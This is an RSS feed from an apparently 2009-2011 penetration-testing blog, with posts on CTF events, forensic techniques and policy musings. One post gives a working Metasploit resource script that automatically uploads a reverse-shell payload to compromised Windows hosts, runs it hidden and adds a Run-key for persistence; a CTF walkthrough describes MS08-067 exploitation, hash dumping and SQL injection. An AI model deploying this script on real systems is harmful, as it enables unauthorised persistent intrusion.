<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>OMGSecurity</title>
	<atom:link href="http://www.omgsecurity.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.omgsecurity.com</link>
	<description>Information for Penetration Testers and Security Professionals</description>
	<lastBuildDate>Tue, 27 Sep 2011 15:48:46 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Nashville InfoSec 2011 CTF</title>
		<link>http://www.omgsecurity.com/2011/09/nashville-infosec-2011-ctf/</link>
		<comments>http://www.omgsecurity.com/2011/09/nashville-infosec-2011-ctf/#comments</comments>
		<pubDate>Thu, 01 Sep 2011 16:39:41 +0000</pubDate>
		<dc:creator>chris</dc:creator>
				<category><![CDATA[All]]></category>

		<guid isPermaLink="false">http://www.omgsecurity.com/?p=161</guid>
		<description><![CDATA[
Those in the Nashville, TN area who are planning on attending Nashville InfoSec 2011 should consider attending the Capture-The-Flag event there this year. My colleague and I have been working on it for quite some time, and we think it will be a great event with a lot of learning coupled with fun competition. If [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.technologycouncil.com/connect/infosec-2011/" target="_blank"><img class="aligncenter size-medium wp-image-160" title="infosec_banner" src="http://www.omgsecurity.com/wp-content/uploads/2011/09/infosec_banner-300x128.png" alt="infosec_banner" width="300" height="128" /></a></p>
<p>Those in the Nashville, TN area who are planning on attending Nashville InfoSec 2011 should consider attending the Capture-The-Flag event there this year. My colleague and I have been working on it for quite some time, and we think it will be a great event with a lot of learning coupled with fun competition. If you are interested in registering, you can click the logo above for more information.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.omgsecurity.com/2011/09/nashville-infosec-2011-ctf/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Will major hacking attacks hide behind the next &#8220;Solar Flare&#8221;&#8230;</title>
		<link>http://www.omgsecurity.com/2011/08/will-major-hacking-attacks-hide-behind-the-next-solar-flare/</link>
		<comments>http://www.omgsecurity.com/2011/08/will-major-hacking-attacks-hide-behind-the-next-solar-flare/#comments</comments>
		<pubDate>Sat, 13 Aug 2011 21:51:24 +0000</pubDate>
		<dc:creator>kyle</dc:creator>
				<category><![CDATA[All]]></category>

		<guid isPermaLink="false">http://www.omgsecurity.com/?p=156</guid>
		<description><![CDATA[Will major hacking attacks hide behind the next &#8220;Solar Flare&#8221;&#8230;
We just had a solar flare event a few days ago:  http://www.pcmag.com/article2/0,2817,2390826,00.asp
Solar Flare, if NASA is right on their prediction, there will be a lot of problems in the next major solar flare in 2012 &#8211; 2013. When that happens, I can see major hacking [...]]]></description>
			<content:encoded><![CDATA[<p>Will major hacking attacks hide behind the next &#8220;Solar Flare&#8221;&#8230;</p>
<p>We just had a solar flare event a few days ago: <a href="http://www.pcmag.com/article2/0,2817,2390826,00.asp"> http://www.pcmag.com/article2/0,2817,2390826,00.asp</a></p>
<p>Solar Flare, if NASA is right on their prediction, there will be a lot of problems in the next major solar flare in 2012 &#8211; 2013. When that happens, I can see major hacking attacks align their timing around it and just blame on the solar flare. Attacks could be launched during the chaos, and it might be hard initially to see if the mess is caused by natural event or human sabotage&#8230;<br />
Remember the major blackout in Northeastern USA in 2003 which effected 45 million people? It was due to a &#8220;computer bug&#8221;, but I&#8217;m really not sure exactly what that means&#8230;<br />
(<a style="outline-width: initial; outline-style: none; outline-color: initial; font-style: inherit; font-size: 13px; font-family: inherit; vertical-align: baseline; -webkit-text-size-adjust: none; text-decoration: none; color: #006699; padding: 0px; margin: 0px; border: 0px initial initial;" rel="nofollow" href="http://www.linkedin.com/redirect?url=http%3A%2F%2Fen%2Ewikipedia%2Eorg%2Fwiki%2FNortheast_Blackout_of_2003&amp;urlhash=88Sl&amp;_t=tracking_anet" target="blank">http://en.wikipedia.org/wiki/Northeast_Blackout_of_2003</a>)</p>
<p>Here is the &#8220;Super Solar Flare&#8221; article on the NASA website - <a style="outline-width: initial; outline-style: none; outline-color: initial; font-style: inherit; font-size: 13px; font-family: inherit; vertical-align: baseline; -webkit-text-size-adjust: none; text-decoration: none; color: #006699; padding: 0px; margin: 0px; border: 0px initial initial;" rel="nofollow" href="http://www.linkedin.com/redirect?url=http%3A%2F%2Fscience%2Enasa%2Egov%2Fscience-news%2Fscience-at-nasa%2F2008%2F06may_carringtonflare%2F&amp;urlhash=PPEe&amp;_t=tracking_anet" target="blank">http://science.nasa.gov/science-news/science-at-nasa/2008/06may_carringtonflare/</a></p>
<p>So, are we are prepared for the next solar flare event?</p>
<p>Thoughts?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.omgsecurity.com/2011/08/will-major-hacking-attacks-hide-behind-the-next-solar-flare/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Some problems I see in addition to CyberSecurity in US Gov.</title>
		<link>http://www.omgsecurity.com/2011/08/some-problems-i-see-in-addition-to-cybersecurity/</link>
		<comments>http://www.omgsecurity.com/2011/08/some-problems-i-see-in-addition-to-cybersecurity/#comments</comments>
		<pubDate>Wed, 03 Aug 2011 00:02:35 +0000</pubDate>
		<dc:creator>kyle</dc:creator>
				<category><![CDATA[All]]></category>

		<guid isPermaLink="false">http://www.omgsecurity.com/?p=150</guid>
		<description><![CDATA[Some problems I see in addition to CyberSecurity
How would terrorist organizations target and recruit talents they really need?

Look at Monster or Linkedin and see who listed themselves with Top Secret or TS/SCI clearance, or are in the Government Security Clearance / Top Secret Candidate groups
Start a staffing firm and pretend that it is a TS [...]]]></description>
			<content:encoded><![CDATA[<h3 style="font-size: 16px; outline-width: 0px; outline-style: initial; outline-color: initial; font-weight: inherit; font-style: inherit; font-family: inherit; vertical-align: baseline; -webkit-text-size-adjust: none; color: #333333; padding: 0px; margin: 0px;">Some problems I see in addition to CyberSecurity</h3>
<p>How would terrorist organizations target and recruit talents they really need?</p>
<ol>
<li>Look at Monster or Linkedin and see who listed themselves with Top Secret or TS/SCI clearance, or are in the Government Security Clearance / Top Secret Candidate groups</li>
<li>Start a staffing firm and pretend that it is a TS cleared facility, then start calling candidates with clearance, and ask for their SSN over the phone, telling them that they need SSN to verify security clearance through JPAS&#8230;. When they get the SSN&#8217;s, they will be able to learn a lot more about these &#8220;candidates&#8221; through the background check services like credit check, family tree, etc.</li>
<li>Start a cyber security penetration testing project with &#8220;unidentified targets&#8221; or &#8220;special ethical hacking exercise&#8221; and asking the newly hired security specialists to use all their knowledge to achieve the &#8220;goals&#8221; (whatever it might be).</li>
<li>For the people who did not get hired, launch a campaign on social networking sites to befriend with these individuals and gain their trusts, for &#8220;future projects&#8221;.</li>
</ol>
<p>So, my 2 cents on mitigating scenarios like this:</p>
<ol>
<li>Really marketing the Social Networking training from DISA (<a style="outline-width: initial; outline-style: none; outline-color: initial; font-weight: inherit; font-style: inherit; font-size: 13px; font-family: inherit; vertical-align: baseline; -webkit-text-size-adjust: none; text-decoration: none; color: #006699; padding: 0px; margin: 0px; border: 0px initial initial;" rel="nofollow" href="http://www.linkedin.com/redirect?url=http%3A%2F%2Fiase%2Edisa%2Emil%2Feta%2Findex%2Ehtml&amp;urlhash=crre&amp;_t=tracking_anet" target="blank">http://iase.disa.mil/eta/index.html</a>) and hope people take this short training.</li>
<li>Let the cleared personnel know not to list clearance info, specific intelligence agencies or projects experience on the web</li>
<li>Change how clearance is verified by the security cleared facilities. It is becoming too common to have recruiters asking for SSN from cleared people so they can check on their JPAS&#8230; All the other industries are trying to stay away from SSN, so DSS should find an alternate way to verify.</li>
<li>Is there a way for the candidates to verify trust worthy or certified contractors or recruiting/staffing firms?</li>
</ol>
<p>Thoughts?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.omgsecurity.com/2011/08/some-problems-i-see-in-addition-to-cybersecurity/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Progress of US CyberSecurity Program in the past 6 years</title>
		<link>http://www.omgsecurity.com/2011/07/progress-of-us-cybersecurity-program-in-the-past-6-years/</link>
		<comments>http://www.omgsecurity.com/2011/07/progress-of-us-cybersecurity-program-in-the-past-6-years/#comments</comments>
		<pubDate>Sat, 30 Jul 2011 16:31:02 +0000</pubDate>
		<dc:creator>kyle</dc:creator>
				<category><![CDATA[All]]></category>

		<guid isPermaLink="false">http://www.omgsecurity.com/?p=146</guid>
		<description><![CDATA[How is the progress of US CyberSecurity Program in the past 6 years?
GAO just issued a report on 7/25/2011 on “DOD Faces Challenges In Its Cyber Activities” (http://www.gao.gov/new.items/d1175.pdf). GAO has identified DoD’s CyberSecurity gaps and stated it is insufficient. I believe US definitely needs improvement due to today&#8217;s cybersecurity threats coming from organized crime, adversary countries, [...]]]></description>
			<content:encoded><![CDATA[<p>How is the progress of US CyberSecurity Program in the past 6 years?</p>
<p>GAO just issued a report on 7/25/2011 on “DOD Faces Challenges In Its Cyber Activities” (<a rel="nofollow" href="http://www.omgsecurity.com/redirect?url=http%3A%2F%2Fwww%2Egao%2Egov%2Fnew%2Eitems%2Fd1175%2Epdf&amp;urlhash=--MU&amp;_t=tracking_anet" target="blank">http://www.gao.gov/new.items/d1175.pdf</a>). GAO has identified DoD’s CyberSecurity gaps and stated it is insufficient. I believe US definitely needs improvement due to today&#8217;s cybersecurity threats coming from organized crime, adversary countries, terrorist groups, Wikileak supporter hacking groups.</p>
<p>Here is a budget estimate and plan on DoD CyberSecurity Program and Effort from 7/29/2011 – Pretty interesting presentation:<br />
<a rel="nofollow" href="http://www.omgsecurity.com/redirect?url=http%3A%2F%2Fwww%2Egao%2Egov%2Fnew%2Eitems%2Fd11695r%2Epdf&amp;urlhash=9rl2&amp;_t=tracking_anet" target="blank">http://www.gao.gov/new.items/d11695r.pdf</a></p>
<p>GAO has issued a report 6 years ago in May 2005 on CyberSecurity Threats.<br />
<a rel="nofollow" href="http://www.omgsecurity.com/redirect?url=http%3A%2F%2Fwww%2Egao%2Egov%2Fnew%2Eitems%2Fd05231%2Epdf&amp;urlhash=MyBL&amp;_t=tracking_anet" target="blank">http://www.gao.gov/new.items/d05231.pdf</a></p>
<p>GAO has also issued a report 2 years ago in May, 2009 – “Cyber Threats and Vulnerabilities Place Federal Systems at Risk”<br />
<a rel="nofollow" href="http://www.omgsecurity.com/redirect?url=http%3A%2F%2Fwww%2Egao%2Egov%2Fnew%2Eitems%2Fd09661t%2Epdf&amp;urlhash=e0w3&amp;_t=tracking_anet" target="blank">http://www.gao.gov/new.items/d09661t.pdf</a></p>
<p>What do you think of our progress on Cyber Security Program in the past 6 years? We certainly have improved a lot in recent years, but how do we compare to the other countries?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.omgsecurity.com/2011/07/progress-of-us-cybersecurity-program-in-the-past-6-years/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>String Searches in PCAP Payload Data</title>
		<link>http://www.omgsecurity.com/2011/05/string-searches-in-pcap-payload-data/</link>
		<comments>http://www.omgsecurity.com/2011/05/string-searches-in-pcap-payload-data/#comments</comments>
		<pubDate>Fri, 20 May 2011 15:40:16 +0000</pubDate>
		<dc:creator>chris</dc:creator>
				<category><![CDATA[forensics]]></category>
		<category><![CDATA[networking]]></category>

		<guid isPermaLink="false">http://www.omgsecurity.com/?p=142</guid>
		<description><![CDATA[Just a quick post to detail a method for searching on ASCII strings in pcap dumps.
Recently, I had an investigation which required me to search for keywords in some very large (over 1 Gig) pcap files. As some of you searching may have realized, there aren&#8217;t any tools specifically designed for this task. So, this [...]]]></description>
			<content:encoded><![CDATA[<p>Just a quick post to detail a method for searching on ASCII strings in pcap dumps.</p>
<p>Recently, I had an investigation which required me to search for keywords in some very large (over 1 Gig) pcap files. As some of you searching may have realized, there aren&#8217;t any tools specifically designed for this task. So, this was my dirty, yet effective, solution to that challenge.</p>
<p>You need the tool <a title="tcpflow" href="http://www.circlemud.org/~jelson/software/tcpflow/" target="_blank">tcpflow</a> if you don&#8217;t already have it in your arsenal. Tcpflow will read a packet capture and output the payload to files for each discovered tcp conversation. You can instead choose to output the conversations to standard output with the -c parameter. Then pipe that to grep. Grep has a parameter -f which allows you to supply a file with line separated search strings. Below is an example of this in action.</p>
<ol>
<li>First, create a file with a seperate search term or phrase on each line.<code>echo "dog" &gt;&gt; keywords<br />
echo "cat" &gt;&gt; keywords<br />
echo "mouse" &gt;&gt; keywords</code></li>
<li>Now search for those words in your capture:<code>tcpflow -r yourcapture.pcap -c | grep -i -f keywords &gt; keyword_hits</code><br />
The -i parameter to grep means case insensitive.</li>
</ol>
<p>That&#8217;s all there is to it. Enjoy!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.omgsecurity.com/2011/05/string-searches-in-pcap-payload-data/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>How to Boot Media Forensically in VirtualBox (without writing back to the original disk)</title>
		<link>http://www.omgsecurity.com/2011/03/how-to-boot-media-forensically-in-virtualbox-without-writing-back-to-the-original-disk/</link>
		<comments>http://www.omgsecurity.com/2011/03/how-to-boot-media-forensically-in-virtualbox-without-writing-back-to-the-original-disk/#comments</comments>
		<pubDate>Thu, 10 Mar 2011 21:44:11 +0000</pubDate>
		<dc:creator>chris</dc:creator>
				<category><![CDATA[forensics]]></category>

		<guid isPermaLink="false">http://www.omgsecurity.com/?p=129</guid>
		<description><![CDATA[Caveat* &#8211; While I have verified this technique to be forensically sound by MD5 and SHA1 hash comparisons, I make no guarantees that this techniques would be permitted in a court of law. You should consult your attorneys before using this technique with evidence that is, or may become, part of a legal investigation. 
Recently [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p><span style="color: #ff0000;">Caveat* &#8211; While I have verified this technique to be forensically sound by MD5 and SHA1 hash comparisons, I make no guarantees that this techniques would be permitted in a court of law. You should consult your attorneys before using this technique with evidence that is, or may become, part of a legal investigation. </span></p></blockquote>
<p>Recently I had a need to boot a hard drive that my department received as part of an internal investigation. The drive was large, and although I could have created a bit-for-bit image of the disk with DD, I did not have the storage space available. Also, creating images of large disks is very time consuming. So, I set out to find a way to boot the hard drive as read only media with the changes being written either to memory or a temporary location. VirtualBox turned out to have the exact tools that I need to accomplish this task, and so, here is a quick write-up on how to do just that.</p>
<p><span style="color: #ffff00;">IMPORTANT: Before you connect your physical media (USB/IDE/SATA/etc), make sure you host OS is configured to <strong>NOT</strong> automount the media!</span></p>
<p><strong>Instructions on how to create a VBox Guest from physical media without writing changes to the physical media (forensically)</strong></p>
<p><!-- p { margin-bottom: 0.08in; } --></p>
<ol>
<li>Step 1. &#8211; This write-up assumes the OS will be linux. You will need to add a user to the &#8220;disk&#8221; group (it should be the user who launches VirtualBox). You can do that with this command:<br />
<code>sudo usermod -a -G disk &lt;username&gt;</code><br />
<strong>Note: The user will need to logoff and log back on for the group change to take effect</strong></li>
<p><!-- p { margin-bottom: 0.08in; } --></p>
<li>Step 2. &#8211; Create a VMDK file and register it in VBox with the following command:<code>VBoxManage internalcommands createrawvmdk -filename /path/to/file.vmdk -rawdisk /dev/sda -register</code><br />
<strong>Note: Path to new VMDK file must be absolute.</strong></li>
<p><!-- p { margin-bottom: 0.08in; } --></p>
<li>Step 3. &#8211; <strong>*IMPORTANT*</strong> Before you create the VM Guest with this new VMDK as a virtual disk, you must set the disk type to immutable so that changes will not be written back to the physical disk.<br />
<code>VBoxManage modifyhd  &lt;VMDK file&gt; --type immutable</code></li>
<p><!-- p { margin-bottom: 0.08in; } --></p>
<li>Step 4. &#8211; Create the VM and add the new VMDK disk in the Virtual Media Manager as the primary storage. Here you can configure all the options as you would while creating a normal VBox guest.</li>
<p><!-- p { margin-bottom: 0.08in; } --></p>
<li>Step 5. &#8211; <strong>(Optional but Recommended)</strong> If you want the changes you make while booted into the VM Guest to be persistent you will need to configure the autoreset on the differencing disk to &#8216;off.&#8217; This will be important if you need to make changes to the system before you can boot (i.e. blanking out the admin password or disabling drives that cause the system to crash). You can do this with the following commands:<br />
<!-- p { margin-bottom: 0.08in; } --><br />
First you must identify the UUID of the differencing disk.<br />
<code>VboxManage list hdds</code><br />
The differencing disk will have a parent UUID which is the same as the VMDK disk you created earlier. Once you locate the UUID of the differencing disk, execute this command to change the autoreset value:<br />
<code>VboxManage modifyhd  &lt;UUID&gt; --autoreset off</code></li>
<p><!-- p { margin-bottom: 0.08in; } --></p>
<li>Step 6. &#8211; Boot your VM Guest and go!</li>
</ol>
<p><span style="color: #ffff00;">Final Note: When booting Windows systems like this, you may encounter a BSOD caused by a problem with the intelppm.sys driver. You can boot the windows VM into safe mode and disable the loading of this driver by modifying the registry key </span></p>
<ul>
<li><span style="color: #ffff00;">HKLM\system\currentcontrolset\services\processor or</span></li>
<li><span style="color: #ffff00;">HKLM\system\current\controlset\services\intelppm</span></li>
</ul>
<p><span style="color: #ffff00;">Change the value of &#8217;start&#8217; to &#8216;4&#8242;.</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.omgsecurity.com/2011/03/how-to-boot-media-forensically-in-virtualbox-without-writing-back-to-the-original-disk/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Automated Persistence with .RC scripts</title>
		<link>http://www.omgsecurity.com/2010/07/automated-persistence-with-rc-scripts/</link>
		<comments>http://www.omgsecurity.com/2010/07/automated-persistence-with-rc-scripts/#comments</comments>
		<pubDate>Fri, 16 Jul 2010 18:37:04 +0000</pubDate>
		<dc:creator>chris</dc:creator>
				<category><![CDATA[backdoor]]></category>
		<category><![CDATA[pentest]]></category>

		<guid isPermaLink="false">http://www.omgsecurity.com/?p=117</guid>
		<description><![CDATA[A while back I did a post about persistent meterpreter. This was a way to make the system continually attempt a reverse connection back to the Metasploit multi/handler listener. Well recently I was on a pentest engagement where I wanted to do some social engineering attacks with email. I used a combination of the IE [...]]]></description>
			<content:encoded><![CDATA[<p>A while back I did a post about persistent meterpreter. This was a way to make the system continually attempt a reverse connection back to the Metasploit multi/handler listener. Well recently I was on a pentest engagement where I wanted to do some social engineering attacks with email. I used a combination of the IE Aurora vulnerability as well as the PDF embedded EXE vulnerabilities.</p>
<p>So, I needed a way to launch my multi/handler and have it automatically setup persistence once a client connected. There is a <a href="https://metasploit.com/redmine/projects/framework/repository/revisions/9531/changes/scripts/meterpreter/persistence.rb" target="_blank">persistence.rc</a> script written by darkoperator in the Metasploit Framework repository, but it is a more interactive script that you might run inside an existing meterpreter session. I needed something that would require no interaction. So, with a little borrowed code from a <a href="http://www.metasploit.com/redmine/projects/framework/repository/revisions/8878/entry/documentation/msfconsole_rc_ruby_example.rc" target="_blank">ruby block example</a>, I mashed up this script.</p>
<p><code><br />
#<br />
# Script to automatically install a meterpreter/reverse_tcp payload and a VBS script for persistent connection to attacker.<br />
#<br />
use exploit/multi/handler<br />
set PAYLOAD windows/meterpreter/reverse_tcp<br />
set LPORT 4444<br />
set LHOST 1.2.3.4<br />
set ExitOnSession false<br />
#<br />
exploit -j<br />
#<br />
# The first sleep below is not necessary, but makes the output cleaner<br />
#<br />
sleep(1)<br />
#<br />
print_status("Waiting on an incoming sessions...")<br />
while (true)<br />
framework.sessions.each_pair do |sid,s|<br />
thost = s.tunnel_peer.split(":")[0]<br />
#<br />
# Ensure that stdapi has been loaded before running<br />
if s.ext.aliases['stdapi']<br />
sleep(1)<br />
print_status("Uploading files to session #{sid} #{thost}...")<br />
s.console.run_single("upload reverse.exe persist.vbs C:\\\\\WINDOWS\\\\\Temp")<br />
print_status("Executing persistent script...")<br />
s.console.run_single("execute -H -f 'cmd.exe /c cscript C:\\\\\WINDOWS\\\\\Temp\\\\\persist.vbs'")<br />
print_status("Creating Registry Key...")<br />
s.console.run_single("reg setval -k HKLM\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run -v msfpersist -d 'C:\\\WINDOWS\\\Temp\\\persist.vbs'")<br />
s.console.run_single("reg queryval -k HKLM\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\Run -v msfpersist")<br />
print_status("Closing session #{sid} #{thost}...")<br />
s.kill<br />
else<br />
print_status("Session #{sid} #{thost} active, but not yet configured")<br />
end<br />
#<br />
end<br />
sleep(1)<br />
end<br />
#<br />
print_status("All done")<br />
#<br />
# Kill all open sessions<br />
sessions -K<br />
#<br />
# Exit the console (optional)<br />
exit</code></p>
<p>The lines got a little split so you can download this script at the end of this post. Basically you want to set the LHOST and the LPORT for the machine running the listener. The &#8220;reverse.exe&#8221; represents the payload executable, and the &#8220;persist.vbs&#8221; represents the vbs script which will run on the victim machine and launch the reverse.exe if it is not already running. Both files need be either in the same directory as msfconsole.rc or the path needs to be specified.</p>
<p>You invoke this script by the following:<br />
<code><br />
./msfconsole -r autopersist.rc</code></p>
<p>This script could be refined much better, but it accomplished what I needed. So, if anyone has any suggestions feel free to comment.</p>
<blockquote><p>Download: <a href="http://www.omgsecurity.com/wp-content/uploads/2010/08/autopersist.rc.zip">autopersist.vbs</a></p>
<p>MD5 checksum: 453bbd3e5b95ee1045431bbe2f92c118</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.omgsecurity.com/2010/07/automated-persistence-with-rc-scripts/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Louisville InfoSec CTF Event &#8211; 2nd Place</title>
		<link>http://www.omgsecurity.com/2009/10/louisville-infosec-ctf-event-2nd-place/</link>
		<comments>http://www.omgsecurity.com/2009/10/louisville-infosec-ctf-event-2nd-place/#comments</comments>
		<pubDate>Mon, 12 Oct 2009 15:54:26 +0000</pubDate>
		<dc:creator>chris</dc:creator>
				<category><![CDATA[All]]></category>
		<category><![CDATA[contests]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[ettercap]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[meterpreter]]></category>
		<category><![CDATA[SQLinjection]]></category>

		<guid isPermaLink="false">http://www.omgsecurity.com/?p=109</guid>
		<description><![CDATA[Image from http://www.louisvilleinfosec.com
On October 8th, I attended the 7th Annual Louisville InfoSec Conference @ Churchill Downs in Louisville, KY. During the conference I participated in the 1st annual capture-the-flag event put on by IronGeek (Adrian Crenshaw). I ended up coming in 2nd place, and I had a great time with it.
Let me first say that [...]]]></description>
			<content:encoded><![CDATA[<h6 style="text-align: center;"><a href="http://www.omgsecurity.com/wp-content/uploads/2009/10/phoca_thumb_l_ctf1.jpg"><img class="aligncenter size-medium wp-image-111" title="phoca_thumb_l_ctf1" src="http://www.omgsecurity.com/wp-content/uploads/2009/10/phoca_thumb_l_ctf1-300x199.jpg" alt="phoca_thumb_l_ctf1" width="300" height="199" /></a>Image from <a href="http://www.louisvilleinfosec.com" target="_blank">http://www.louisvilleinfosec.com</a></h6>
<p>On October 8th, I attended the 7th Annual <a href="http://www.louisvilleinfosec.com/" target="_blank">Louisville InfoSec Conference</a> @ Churchill Downs in Louisville, KY. During the conference I participated in the 1st annual capture-the-flag event put on by IronGeek (Adrian Crenshaw). I ended up coming in 2nd place, and I had a great time with it.</p>
<p>Let me first say that IronGeek did a great job to put on a creative, reliable, and challenge CTF. The 1st place finisher was a team of four from <a href="https://www.securestate.com/Pages/default.aspx" target="_blank">SecureState</a> out of Cleveland, OH lead by Dave Kennedy. Dave and one other of his teammates are lead developers for the BackTrack project, and Dave developed Fast Track as well. Needless to say this team was very talented, and deserved every bit of the 1st place spot. I had the opportunity to speak with Adrian and Dave after the event for a while, and they are both very knowledgeable and friendly guys.</p>
<p>I just wanted to briefly outline the CTF event and what steps I took to complete it:</p>
<ol>
<li>The first flag was to find and associate with a hidden SSID. Luckily, there was a client associating with the hidden SSID when I started my monitoring with Kismet. It quickly revealed the SSID which I attached to.</li>
<li>The second flag was to locate a windows box with the hostname of WinCTF and list 5 open ports. I found the box using Nmap v.5.00. Even using just the -sP flag, it will still display the hostname if it can find it. I used the -sT since I wanted speed and was not concerned with stealth as well as -A to discover service and OS versions. Also, I only scanned the 1st 100 IP address to shorten the time it took because I noticed the DHCP address I received was in the 101-254 range.</li>
<li>The third flag was to locate an x86 Linux box and list 2 open ports. I did this the same way I found the Windows box.</li>
<li>The fourth flag was to find the intranet web server and what type and version of webserver it was running. This was once again done with Nmap, using the -A flag to discover the type of web server as well as version.</li>
<li>The fifth flag was to discover the Administrator password the WinCTF box. One of the ports open on that box was 445 which was vulnerable to MS08-067. I used Metasploit to drop the meterpreter payload on it. Then I used the hashdump function of meterpreter to retrieve the LM hashes of the user accounts. Crackers such as John and Cain could do the trick in time, but for speed&#8217;s sake, I submitted the lm hashes to <a href="http://www.plain-text.info" target="_blank">www.plain-text.info</a> which has a large database of cracked hashes. Luckily for me two of the three user account passwords were found this way&#8230;including the Administrator password!</li>
<li>The sixth flag was to find the Root password of the x86 Linux box. The box itself had no vulnerable services run, at least that I knew of, so I began to try the two account credentials I had discovered on the Windows box. As it turned out, both boxes used the same credentials. And so, the Root password was the same as the Administrator password. Also, the other user, &#8220;greg,&#8221; could SSH into the linux box and had sudo privileges. This was another route to root.</li>
<li>The seventh flag was to find and copy off a TrueCrypt volume to our local machine. I used locate to find the .tc file on the linux box. Since the intranet web site was running from this box, I copied the .tc file to webroot of the server and downloaded it through my browser. Many other was to get the file were possible, but this was the fastest that I could think of.</li>
<li>The eighth flag was to find the password to the .tc file. This was where things got interesting. TrueCrypt volumes if used correctly use a very strong encryption method. I didn&#8217;t feel that trying to bruteforce the file would be successful, and so, I began to look for a different way. I tried the two passwords I had discovered thus far, but neither worked. I browsed to the intranet web site, and there I found a SQL injection vulnerability that allowed me to log into site by bypassing the login mechanism. From here I realized that a backend database existed for this site, so I ssh&#8217;ed back into the linux box viewed the source code for the website which contained the database login credentials, and was able to login to the database using mysql client. In here I discovered the login credentials for three users: admin, john, and greg. I tried each of these passwords against the .tc file, but none of them worked. I continued to look through the table data in the MySQL database until I found a sort of notes board for each user. It was here that the user &#8220;john&#8221; placed his password for the .tc file so he would remember it. I used that password and was able to mount the TrueCrypt volume and continue on.</li>
<li>The ninth flag was to find the username/password for a non-x86 based linux box. The only other device I could find in my scanning was an IP webcam&#8230;this had to be it. It was running a webserver, so I browsed to it, but it seemed secure. Also, the services FTP and HTTP were not vulnerable to any known exploits. It was here that many of the other competitors, as well as myself, got stuck. Finally, a hint was given as to the communication between the IP webcam and the linux server. This gave me the idea to use ettercap to man-in-the-middle the connection and see if the credentials were sent in plain text. The webserver used basic authentication when communicating with the ip camera. I used an online base64 decoder to discover the login to the IP camera&#8217;s webserver.</li>
<li>The tenth flag was to find the password to a protected 7zip archive which was located in the TrueCrypt volume. I began by trying to use rarcrack to bruteforce the password, but at 6 passwords a second, it was going to take a while. However in the data from the intranet website&#8217;s notes board the user, greg, said he kept his password on a post-it note on his monitor. I went back to the IP webcam, rotated the camera some, and sure enough, there was the sticky note with the password on it taped to the monitor.</li>
<li>The eleventh and final flag was simply to open the 7zip file with the password found by the webcam and open a .csv file which contained some very confidential information. What a great event!</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://www.omgsecurity.com/2009/10/louisville-infosec-ctf-event-2nd-place/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Network Forensics Puzzle Contest</title>
		<link>http://www.omgsecurity.com/2009/09/network-forensics-puzzle-contest/</link>
		<comments>http://www.omgsecurity.com/2009/09/network-forensics-puzzle-contest/#comments</comments>
		<pubDate>Wed, 30 Sep 2009 20:52:04 +0000</pubDate>
		<dc:creator>chris</dc:creator>
				<category><![CDATA[All]]></category>
		<category><![CDATA[contests]]></category>
		<category><![CDATA[forensics]]></category>
		<category><![CDATA[wireshark]]></category>

		<guid isPermaLink="false">http://www.omgsecurity.com/?p=104</guid>
		<description><![CDATA[A few months ago, I submitted an answer to the SANS Network Forensics Puzzle Contest. I have been waiting for them to post the results before I posted my submission to the blog. They have recently released the winners, so I thought I would post my answer now. I didn&#8217;t win the contest (they were [...]]]></description>
			<content:encoded><![CDATA[<p>A few months ago, I submitted an answer to the <a href="http://www.forensicscontest.com/" target="_blank">SANS Network Forensics Puzzle Contest</a>. I have been waiting for them to post the results before I posted my submission to the blog. They have recently released the winners, so I thought I would post my answer now. I didn&#8217;t win the contest (they were looking for custom scripts), but I am listed as one of the people who answered correctly. Even though the contest has ended, if you haven&#8217;t done it, its a very good challenge&#8230;worth doing.</p>
<p>Here is the challenge per their site:</p>
<blockquote>
<div>
<p>Anarchy-R-Us, Inc. suspects that one of their employees, Ann Dercover, is really a secret agent working for their competitor. Ann has access to the company’s prize asset, the secret recipe. Security staff are worried that Ann may try to leak the company’s secret recipe.</p>
<p>Security staff have been monitoring Ann’s activity for some time, but haven’t found anything suspicious– until now. Today an unexpected laptop briefly appeared on the company wireless network. Staff hypothesize it may have been someone in the parking lot, because no strangers were seen in the building. Ann’s computer, (<strong>192.168.1.158</strong>) sent IMs over the wireless network to this computer. The rogue laptop disappeared shortly thereafter.</p>
<p>“We have a <a href="http://philosecurity.org/558/contest_01/evidence.pcap">packet capture</a> of the activity,” said security staff, “but we can’t figure out what’s going on. Can you help?”</p>
<p><span style="text-decoration: underline;">You are the forensic investigator.</span> Your mission is to figure out who Ann was IM-ing, what she sent, and recover evidence including:</p>
<p>1. What is the name of Ann’s IM buddy?<br />
2. What was the first comment in the captured IM conversation?<br />
